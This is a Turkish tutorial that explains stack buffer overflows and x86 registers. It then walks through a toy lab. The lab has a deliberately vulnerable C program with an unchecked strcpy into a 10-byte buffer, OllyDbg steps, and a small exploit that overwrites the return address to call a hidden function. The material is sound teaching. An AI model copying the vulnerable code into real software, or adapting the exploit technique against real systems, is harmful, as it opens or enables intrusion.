Buffer Overflow & Exploit mantığı nedir?
İlk olarak küçük bir giriş yazısı yazacağım temel olarak bilinmesi gereken bazı kavramlardır. Bu kavramları kesinlikle bilmeliyiz, özellikle işlemci mimarileri bu konuda çok önem taşımaktadır.
Buffer overflow’ların ortaya çıkma tarihi 1970ler. Ilk public kullanımı 1980′ler (Morris Worm). Kendisiyle ilgili dokümanlar ve kodlar Internet’te 1990′dan beri yayınlanıyor.BOF; yazılım değişkenleri veya yazılımı içeren fonksiyonların bellek yönetimini önemsemeyen ve programlama dilini etkin kullanamayan yazılımcılar tarafından yazdıkları kodlardan kaynaklanan, yazılım zayıflığına denir. Bu doküman içerisinde BOF’un çalışma mantığı ve bir uygulama sunulacaktır.
Bundan sonraki bölümler biraz teorik ve sıkıcı olacaktır, makale tamamında bir program bug yönünden incelenecek ve üstüne bir exploit yazılacaktır.
Mantık olarak BOF’u şöyle düşünebiliriz. 1 Litre bardağa, 2 Litre su boşalttığımızda, bardak doğal olarak taşar, işte bellekte böyle çalışmaktadır. Bellekten değişken için aldığınız 20 baytlık alana 30 baytlık bir değişken sığdırmaya çalıştığınızda bu alan taşar ve programınızın taştığı alanı diğer başka kötü niyetli yazılımcılar kullanabilir ve buda güvenlik açıklarına neden olabilir.
Bu dökümanı anlamak için bilmemiz gereken bazı kavramlar:
EAX (accumulator) :EAX 32 bitlik registerı temsil eder. 16 bitlik register olarak AX kullanılır. AH ve AL ise ekiz bitlik iki register olarak kullanılabilmektedir. Akümülatör toplama, bölme, çıkarma, bazı düzenleme komutlarında kullanılır. 80386 ve üzerinde EAX registerı Hafıza sistemindeki bir bölgenin offset adreini tutar.
EBX (base index) :EBX, EBX, BX, BH veya BL olarak kullanılabilir Mikroişlemcilerin tamamında bazen hafıza sistemindeki bir bölgenin offset adresini tutar.
ECX (count) :ECX genel amaçlı bir registerdır ve bir çok komutun işlem sayısını tutar. 80386 ve üzerinde ECX hafıza datasının offset adreini tutarç İşlem sayısı tutulan komutlar string komutları ( REP/ REPE / REPNE )ve LOOP/LOOPD komutlarıdır. Bu komutlar ECX veya CX registırını kullanabilirler.
EDX (data) :EDX genel amaçlı bir registerdır. 16 veya 32 bit çarpımlardan sonra sonucun yüksek değerli kısmını, bir bölme işleminden önce bölünen sayısının yüksek değerli kısmını ve değişken I/O komutunda I/O port numaralarınıTutma işlemlerinde kullanılır. 80386 ve üstünde hafıza verilerini adrelemede kullanılır.EDX, DX, DH ve DL şeklinde kullanılır.
EBP (base pointer) :EBP Bütün işlemci modellerinde hafızada bulunan veri dizilerini adreslemede kullanılır. EBP veya BP regiterları olarak kullanılabilir.
EDI (destination index): EDI genellikle string komutlarında hedef veriyi dolaylı adreslemede kullanılır. 32-bit (EDI) veya16-bit (DI) genel amaçlı register olarak kullanılır.
ESI (source index) :ESI ESI veya SI olarak kullanılabilir. String komutlarında kaynak veriyi dolaylı adreslemede kullanılır.
EIP (Instruction pointer): EIP Her zaman mikro işlemci tarafından yürütülecek bir sonraki komutu adreslemede kullanılır. IP içeriğinin CSx10H ile toplanması ile bir sonraki komutun gerçekte olan fiziksel hafıza adresi bulunur. 80386 ve üzerinde protected modda 32 bit olarak kullanılır.
ESP (stack pointer) : ESP Yığın olarak isimlendirilen hafıza alanını adresler. Bu saklayıcı, PUSH ve POP komutlarını yürütürken ; bir alt program CALL komutu ile çağrıldığında veya RET komutu ile dönüldüğünde; kesme işlemlerinde otamatik olarak CPU tarafından verileri yığın hafızaya yazmada ve kesme programında geri dönerken tekrar geri okumada kullanılmaktadır. ESP 32-bit işaretci olarak 32-bit işlemcilerde kullanılır.
Şimdi teorik olarak Buffer Overflow’un işleyişini görelim:
Bu konuya temel sorunu yaratan komutlarından biri olan C kodunu, strcpy(buf1, buf2); kullanacağız. Buf2’yi buf1 üstüne yazdık fakat buf1’i buf2 kadar büyük seçmediğimiz için dönüş adresini de kapsayarak taşma meydana geldi. Burada görülen 41 değeri ‘A’ sayısının hexadecimal kodudur. Bu tür işlemler yaparken genel olarak hex codlar kullanılır.
Senaryoya gelecek olursak;
Normal olarak program işlerken yukarda belirtilen EIP registerı programın normal işleyişi için dönüş adresini adresleyecek ve program işlemeye başlayacaktı veya sonlanacaktı. Fakat bizim programı taşırmamız nedeni ile program hata verecektir. Çünkü dönüş adresini de kapsayan bir taşma meydana geldi. 41 yani ‘A’ harfi ile taşırdığımız bellek alanını, dönüş adresini saklayan EIP registerı ile birlikte elimizle adreslediğimiz zaman, program direk olarak güvensiz kılınacaktır. Çünkü adreslediğimiz diğer bellek bölgesi alanında, hackerların yazdığı kötü kodlar yer alabilir. Böylece program üstünden, programın çalıştırıldığı sistem üstünde sisteme girmek için bir çukur açılabilir.(Sisteme dışarıdan erişim için portların açılması, virüs kodlarının yerleştirilmesi vs…)
Senaryomuzu oluşturduk ve teoride kalan bilgilerimizi uygulamaya dökelim:
1 – Olly Debugger
2- Kodlarınızı compile edebileceğiniz, bir compiler.
İlk olarak zayıf programımızın kodlarını yazalım:
#include "stdio.h"
#include "string.h"
int sau();
int main(int argc, char **argv)
{
char buffer[10];
strcpy(buffer, argv[1]);
printf("%s", buffer);
return 0;
}
int sau()
{
printf("Gizli fonksiyon....\n");
return 0;
}
-Bu kısımda yapıyor olacağımız işlem, sau(); ile belirtilmiş fakat çalıştırılmayan fonksiyonumuzu güvenlik açığı yaratan taşma ile ulaşmak. Yani “Gizli fonksiyon” yazısına ulaşmak.
char buffer[10]; #Bellekte 10 baytlık yer açıldı.
-Evet gördüğünüz gibi bellekte açılan yere biz 10 bayt yerine daha fazla veri girip ve kontrolsüz strcpy yapılan fonksiyon sayesinde taşıracağız.
Olly Debugger bir görüntü:
Olly açtıktan sonra güvenlik açığına neden olan programımızı seçiyoruz.Bu dökümanda bu program bu program “Vuln” ile isimlendirilecektir. Exe yani executable dosyamız seçildi, arguments kısmı ise genel olarak kullanılan ‘A’ dır. Bu alanla dolduruldu. Bu alanı doldurmanız için programınız dışarıdan değişken alabilmelidir. Bunu da biz kendi kodumuz üstünde şu şekilde sağladık.
int main(int argc, char **argv)
! C bilgisi içermektedir.
-char **argv dışarıdan değiken alıp fonksiyon içine gönderiyoruz. Aksi halde bu alana yazdığınız girdiler program desteklemiyorsa hiçbir anlam ifade etmicektir. Evet buraya kadar tüm işlemleri gerçekleştirdik.
Olly ile parametre-argument girişi
-Şimdi Debug-> Run yapıyoruz ve programımızın çakılıp çakılmamasına bakıyoruz. Bellek belli düzeye kadar baytları tolere edebiliyor. Bunun için birkaç deneme yapıyoruz. Gördüğünüz gibi 12 bayt ve EIP taşmayı göstermedi.
EIP DEGERI : 7C8FE4F4
İkinci TEST :

EIP ve EBP 41414141(20bayt veri girişi ile)
-20 bayt dışarıdan veri girdiğimizde taşma meydana geldi ve EIP ve EBP registerlarımız 41414141 ile doldu yani girdiğimiz ‘A’ ya karşılık gelen veri ile doldu. Şimdi ise EIP’i kapyalan bu ‘A’ değerlerini silip yerine bizim istediğimiz Return adresini yazacağız ve bunun adreslenip işlenirken o alana dallanmasını sağlayacağız. Böylece bellekte olan kötü kodumuzu çalıştırmış olacağız buradaki uygulamada ise bu “Gizli Fonksiyon…” olarak ekrana basılacak. Bunu yapmak için küçük bir exploit yazıyoruz.
Bunun için yapmamız gerekenler ilk olarak fonksiyonun adresini tespit etmek, bunun için hemen OllyDbg açıyoruz ve adresi belirliyoruz.
-Ollydbg üstünden hemen yukarıdaki tablardada göreceğiniz üzere adresi tespit ediyoruz. “004010AE” işlemler yığıt için LIFO ile işlediğinden adresimizi ters çeviriyoruz.(“AE 10 40”) Null byteları almamıza gerek yok. Programlama dilinin anlayacağı şekilde düzenliyoruz. “\xAE\x10\x40” şimdi ulaşacağımız fonksiyonun adresini almış olduk. Uygun exploit kodumuzu yazıyoruz.
#include "windows.h"
#include "string.h"
#include "stdio.h"
#include "conio.h"
int main()
{
printf("vuln.exe Stack Overflow Exploit\n");
char exploit[500] = "E:\\vuln.exe ";
char ret[] = "\xAE\x10\x40"; // Dönüs adresimiz.Biz veriyoruz.
char overflow[] ="AAAAAAAAAAAAAAAA"; //16 byte A
strcat(exploit, overflow);
strcat(exploit, ret);
printf("Exploiting ......\n");
WinExec(exploit, 0);
printf("Exploit islemi tamamlandi\n");
return 0;
}
SONUÇ : EXPLOITED
ÖZET:
Tüm yaptıklarımızı özetleyecek olursak, sau(); ve main(); fonksiyonlarından oluşan C programını çalıştırdığımızda main() fonksiyonu çalışıyordu, bu programa dahil olan sau(); fonksiyonu hiçbir yerde çalıştırılmamıştı. Main() fonksiyonu içindeki dizi değeri 10 olarak tanımlanan değişkenimize aşırı yüklenerek bellek üstünde overflow yani taşma gerçekleştirdik. Diğer alt programlara dallanmak için olan Return adresine kadar taşan verinin yerine sau(); fonksiyonun adresini bularak, Return adresine kadar taşan baytları silip 16 bit-4 bayt olan sau(); fonksiyonumuzun adresini belirledik ve bunu programımız üstünde exploit yazarak Vuln programımıza verdik. Taşan kısım bir adresi gösterdiği için; bu adres sau(); fonksiyonun adresidir. Bunu bellekten alarak çalıştırdı ve gizli fonksiyon olarak bas dediğimiz bu yazıyı ekrana basmıştı.
Kaynaklar :
Enderunix.org
Buffer Overflow Attacks Detect Exploit Prevent Foster
yazar
A. Gökalp Kuşçu





















